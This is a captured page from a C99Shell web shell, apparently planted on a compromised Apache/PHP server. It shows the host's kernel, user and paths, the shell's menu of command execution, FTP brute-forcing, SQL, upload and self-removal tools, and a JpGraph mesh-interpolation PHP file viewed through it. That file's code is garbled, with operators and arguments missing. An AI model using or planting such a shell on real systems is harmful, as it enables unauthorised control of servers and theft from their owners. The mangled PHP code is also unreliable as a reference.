!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/jpgraph/   drwxrwxr-x
Free 14.61 GB of 61.93 GB (23.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     jpgraph_meshinterpolate.inc.php (3.79 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*=======================================================================
// File:        JPGRAPH_MESHINTERPOLATE.INC.PHP
// Description: Utility class to do mesh linear interpolation of a matrix
// Created:     2009-03-09
// Ver:         $Id: jpgraph_meshinterpolate.inc.php 1709 2009-07-30 08:00:08Z ljp $
//
// Copyright (c) Aditus Consulting. All rights reserved.
//========================================================================
*/
  
/**
* Utility function to do linear mesh interpolation
* @param $aDat Matrix to interpolate
* @param $aFactor Interpolation factor  
*/
function doMeshInterpolate( &$aData$aFactor ) {
    
$m = new MeshInterpolate();
    
$aData $m->Linear($aData,$aFactor);
}

/**
 * Utility class to interpolate a given data matrix
 *
 */
class MeshInterpolate {
    private 
$data = array();

   
/**
    * Calculate the mid points of the given rectangle which has its top left
    * corner at $row,$col. The $aFactordecides how many spliots should be done.
    * i.e. how many more divisions should be done recursively
    *
    * @param $row Top left corner of square to work with
    * @param $col Top left corner of square to work with
    * $param $aFactor In how many subsquare should we split this square. A value of 1 indicates that no action
    */
    
function IntSquare$aRow$aCol$aFactor ) {
        if ( 
$aFactor <= )
            return;

        
$step pow2$aFactor-);

        
$v0 $this->data[$aRow][$aCol];
        
$v1 $this->data[$aRow][$aCol $step];
        
$v2 $this->data[$aRow $step][$aCol];
        
$v3 $this->data[$aRow $step][$aCol $step];

        
$this->data[$aRow][$aCol $step 2] = ( $v0 $v1 ) / 2;
        
$this->data[$aRow $step 2][$aCol] = ( $v0 $v2 ) / 2;
        
$this->data[$aRow $step][$aCol $step 2] = ( $v2 $v3 ) / 2;
        
$this->data[$aRow $step 2][$aCol $step] = ( $v1 $v3 ) / 2;
        
$this->data[$aRow $step 2][$aCol $step 2] = ( $v0 $v1 $v2 $v3 ) / 4;

        
$this->IntSquare$aRow$aCol$aFactor-);
        
$this->IntSquare$aRow$aCol $step 2$aFactor-);
        
$this->IntSquare$aRow $step 2$aCol$aFactor-);
        
$this->IntSquare$aRow $step 2$aCol $step 2$aFactor-);
    }

    
/**
     * Interpolate values in a matrice so that the total number of data points
     * in vert and horizontal axis are $aIntNbr more. For example $aIntNbr=2 will
     * make the data matrice have tiwce as many vertical and horizontal dta points.
     *
     * Note: This will blow up the matrcide in memory size in the order of $aInNbr^2
     *
     * @param  $ &$aData The original data matricde
     * @param  $aInNbr Interpolation factor
     * @return the interpolated matrice
     */
    
function Linear( &$aData$aIntFactor ) {
        
$step pow2$aIntFactor-);

        
$orig_cols count$aData[0] );
        
$orig_rows count$aData );
        
// Number of new columns/rows
        // N = (a-1) * 2^(f-1) + 1
        
$p pow2$aIntFactor-);
        
$new_cols $p * ( $orig_cols ) + 1;
        
$new_rows $p * ( $orig_rows ) + 1;

        
$this->data array_fill0$new_rowsarray_fill0$new_cols) );
        
// Initialize the new matrix with the values that we know
        
for ( $i 0$i $new_rows$i++ ) {
            for ( 
$j 0$j $new_cols$j++ ) {
                
$v ;
                if ( ( 
$i $step == ) && ( $j $step == ) ) {
                    
$v $aData[$i $step][$j $step];
                }
                
$this->data[$i][$j] = $v;
            }
        }

        for ( 
$i 0$i $new_rows-1$i += $step ) {
            for ( 
$j 0$j $new_cols-1$j += $step ) {
                
$this->IntSquare$i$j$aIntFactor );
            }
        }

        return 
$this->data;
    }
}
  
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.0614 ]--